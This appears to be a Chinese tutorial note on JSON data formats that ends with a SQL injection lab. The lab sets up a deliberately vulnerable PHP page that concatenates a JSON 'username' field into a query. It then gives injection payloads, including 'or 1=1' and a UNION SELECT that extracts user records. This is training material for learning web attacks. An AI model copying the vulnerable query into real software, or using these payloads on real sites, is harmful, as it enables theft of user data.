一,发现json
1.1对一个网站进行抓包 会发现显示内容类型是 json
且json的值为[{"events":[{"event":"applog_trace","params":"{\"count\":3,\"state\":\"net\",\"key\":\"log\",\"params_for_special\":\"applog_trace\",\"aid\":2608,\"platform\":\"web\",\"_staging_flag\":1,\"sdk_version\":\"4.2.9\",\"event_index\":1711677972780}","local_time_ms":1711677532799}]
1.2 与文本内容 urlencoded相比
urlencoded 键=值&键2=值2&....
{"cate_id":"6809635626661445640"} #掘金 post请求携带数据格式
id=1 --> {"id":1} -->
服务端: if content-type=='json':
$a = $_POST['json'] -- {"id":1}
$a["id"] -- 1
if content-type == 'urlencoded':
$_POST['id'] -- 1
二,json数据
2.1介绍
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、 更快,更易解析,主要是用来代替XML的。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 "application/json"。
json 简单来说,json就是各个开发语言直接传输数据的数据格式,为什么要json呢,因为各个语言在处理数 据时都有自己的一套标准或者说处理方式,不用语言之间的数据是不能互相使用的,比如js的字符串数 据(请求体中的数据)交给python语言,python是不认识这个字符串的,所以大家互相传输数据的时候, 就需要一个第三方数据格式,比如XMl或者json等,就相当于中介一样,大家先将自己语言中的数据转 换为json格式的,再传递给其他语言,其他语言再通过json操作,将json数据转换为自己语言的数据类 型,这样就可以进行后续处理了。
2.2作用
json用于多种语言的数据交换 而数据交互会出现在前后端分离
前后端分离是一种软件架构模式,它将Web应用程序的用户界面(前端)和数据处理及业务逻辑(后端)分开进行开发、部署和维护。
在这种模式下,前端主要负责页面的展示效果和用户交互,而后端则专注于数据的操作和业务逻辑的实现。前后端通过定义好的接口进行数据交互,通常使用JSON格式。这种分离有助于提高开发效率、便于维护、并支持更灵活的开发和部署策略。
2.3json数据格式
格式: 数据在键值对中(键值对也成为属性名和属性值)
数据由逗号分隔(最后一个数据后面不能有逗号)
大括号保存对象(在有些语言中叫做字典)
中括号保存数组(在有些语言中称之为列表)
类型:
数字(整数或浮点数) {"age":30,"xx":"123"}
字符串(在双引号中) {"uname":"yang"}
逻辑值(true 或 false) {"flag":true }
数组(在中括号中){"sites":[{"name":"yang"},{"name":"ming"}]}
对象(在大括号中)JSON 对象在大括号({})中书写: null { "runoob":null }
注意点:下面是几个错误的格式
{ name: "张三", 'age': 32 } // 属性名必须使用双引号
{ name: "张三", 'age': '32' } //属性值如果是字符串,必须要双引号,不能用单引号
[32, 64, 128, 0xFFF] // 不能使用十六进制值
{ "name": "张三", "age": undefined } // 不能使用undefined 最后一组键值对后面不能有符号,比如不能有逗号了。
三,json注入
3.1构造json环境
<?php
// php防止中文乱码
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//$password=$json->password;
// 建立mysql连接,root/root连接本地数据库
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
// 要操作的数据库名,我的数据库是security
$mysqli->select_db('pikachu');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
// 数据库编码格式
$mysqli->set_charset('utf-8');
// 从users表中查询username,password字段
$sql="SELECT username,password FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
while($data=mysqli_fetch_assoc($result)){
$username=$data['username'];
$password=$data['password'];
echo "用户名:{$username},密码:{$password}";
}
}
// 释放资源
$result->free();
$mysqli->close();
}
?>
将代码放在www文件下
3.2 注入方法
3.2.1 bp中修改post 添加content-type json语句
这里显示不出来 要用网页修改才可以 用火狐价加个插件 hackerbar
3.2.2 使用firefox hackerbar 修改post
查询语句json={"username":"admin"}
查询语句json={"username":"xx' or 1=1 #"}
查询语句 json={"username":"admin' union select username,email from member#"}
md5 解码就行